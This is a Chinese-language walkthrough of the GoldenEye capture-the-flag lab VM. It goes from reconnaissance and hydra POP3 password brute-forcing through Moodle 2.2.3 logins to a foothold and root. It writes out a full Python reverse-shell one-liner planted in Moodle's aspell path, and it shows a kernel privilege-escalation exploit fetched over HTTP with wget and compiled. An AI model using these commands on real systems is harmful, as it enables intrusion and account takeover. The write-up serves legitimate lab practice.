GoldenEye
新年第一靶
用到的虚拟机是kali2022和1-GoldenEye-v1,两个网络环境设置成NAT模式,确保在同一个网段
信息收集
存活主机信息收集
首先进行信息收集,扫描同网段存活主机。可以先ifconfig看一下kali的网卡信息:
1 | ┌──(kali㉿kali)-[~/Desktop] |
发现是192.168.4.130,以下两种方式来扫描存活主机:
1 | 方式1.arp-scan -l |
方式1的扫描结果:
1 | ┌──(kali㉿kali)-[~/Desktop] |
方式2的扫描结果:
1 | ┌──(kali㉿kali)-[~/Desktop] |
端口信息收集
接着对存活主机进行端口信息收集
1 | ┌──(kali㉿kali)-[~/Desktop] |
经过测试,发现192.168.4.129是目标靶机,目前初步看是开放了25、80端口,可以访问看一下http服务:

有几处有用信息,首先给了另外一个资源请求的url:/sev-home/,另外terminal.js里面有一处注释:
1 | //Boris, make sure you update your default password. |
InvincibleHack3r 解码一下可以得到
InvincibleHack3r;再结合这段描述,可能Boris/Natalya 就是对应InvincibleHack3r的user,我们再去访问192.168.4.129/sev-home,需要账号密码进行登录,这里多次尝试,最终登录密码为boris/InvincibleHack3r;所以大小写都需要尝试一下
登录进去之后给了一段信息:
1 |
|
看提示是说有个pop3服务运行在了非常规端口上面,所以这里需要进行一个全端口扫描:
1 | ┌──(kali㉿kali)-[~/Desktop] |
pop3爆破
1 | POP3(Post Office Protocol 3,邮局协议第三版)是一种用于接收电子邮件的协议,属于TCP/IP协议族的一部分,默认端口为110(加密连接通常使用995端口)。它是电子邮件系统中最常用的接收邮件协议之一,与SMTP协议配合使用,完成邮件的发送与接收。 |
到这里,我们可以尝试利用之前得到的两个用户名:Boris/Natalya来进行密码爆破。这里大小写可以都试一下。这里用的kali自带的一个工具hydra ,使用到的命令如下:
1 | ┌──(kali㉿kali)-[~/Desktop] |
注:这里如果是-L,那么后面接的就是字典,username.txt里面放的内容为:
1 | boris |
如果是-l ,那么后面接的就是单个用户名。 -p和-P是同理的。fasttrack.txt是hydra自带的字典。 -s 后面接的pop3运行的端口。
1 | ┌──(kali㉿kali)-[~/Desktop] |
得到两组pop3账号密码:Boris/secret1! Natalya/bird
先看一组:
1 | ┌──(kali㉿kali)-[~/Desktop] |
可以看到存在3封邮件,使用retr 1 ;retr 2; retr 3;一个一个来看,寻找一些有用信息,在Natalya/bird上面登录上去,在一封邮件里面找到:
1 | retr 2 |
提取一些有用的信息:
1 | username: xenia |
用户名,密码,域名指向,url,我们按照提示,在/etc/hosts 里面添加一条:
1 | 192.168.4.129 severnaya-station.com |
然后再去访问 severnaya-station.com/gnocertdir

可以访问到内容了,我们尝试用邮件里面的账号密码来进行登录:xenia/RCP90rulez!,可以发现成功登入,接下来也是进行一些信息的挖掘。
翻一下信息可以发现是moodle 2.2.3版本,可以google搜索一下有没有哪些poc可以用。另外还有一个有用信息在home->myprofile->messages
1 | Recent conversations |
My email username is ....doak,可以根据doak这个用户名对pop3服务再进行爆破:hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.4.129 -s 55007 pop3 得到doak/goat,再用这个账号秘密吗登pop3上面看信件,
1 | └─$ nc 192.168.4.129 55007 |
得到dr_doak/4England!。
管理员登录moodle
再用这个去登录到moodle 2.2.3框架。登上去也是进行一通信息收集,可以发现home->my profile ->my private files里面可以看到s3cert.txt,里面的内容为:
1 | 007, |
根据提示去访问:severnaya-station.com/dir007key/for-007.jpg,得到一张图片,保存下来,分析一下图片隐藏的信息,这里可以用010hex,或者strings 可以发现一段base64编码:

这段base64解码一下得到:xWinter1995x!,用admin/xWinter1995x!再去登录moodle cms,发现成功登录。并且是管理员权限。
命令执行反弹shell
搜索一下可以发现moodle 2.2.3是存在命令执行漏洞的,这里的利用可以直接用msf的框架。但是我这里尝试了发现利用不成功。
于是切到手动:
在home->site administration->server->system paths下的 path to aspell去弹shell

目标靶机是存在python环境的,这里可以用python来弹:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.4.130",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
在kali上监听8888端口即可,注意这里要把Spell engine改成PSpellShell

然后在 Home->My profile -> Blogs -> Add a new entry 随便编辑一下去触发。

可以发现反弹到shell了,为了方便看,可以开一个tty终端: python -c 'import pty; pty.spawn("/bin/bash")' ,拿到的权限是www-data权限。
提权
这里用到的提权是linux内核提权,通过uname -a发现版本为3.13.0-32-generic
1 | <ditor/tinymce/tiny_mce/3.4.9/plugins/spellchecker$ uname -a |
谷歌搜索一下也可以发现有类似的linux内核提权脚本,只不过这里的脚本需要修改一下:
1 | /* |
需要将lib=system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); 这一行的gcc 改成 cc,改之后的:lib=system("cc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); 这脚本放到kali里面,然后起一个http服务:python -m http.server 9999,然后用靶机的wget命令去下载kali的提权脚本。

可以发现成功下载到我们的靶机上面了,接下来就是需要去编译成可执行文件,执行就行了。
cc -o exp 37292.c 把37292.c文件编译成exp可执行文件,然后运行./exp ,运行完之后执行命令whoami发现已经提权为root

拿最终flag
这个题目的flag作为隐藏文件放在了/root下面,所以需要cd /root下面,然后 ls -la 显示所有文件来找到。最后cat .flag.txt拿到最终的flag。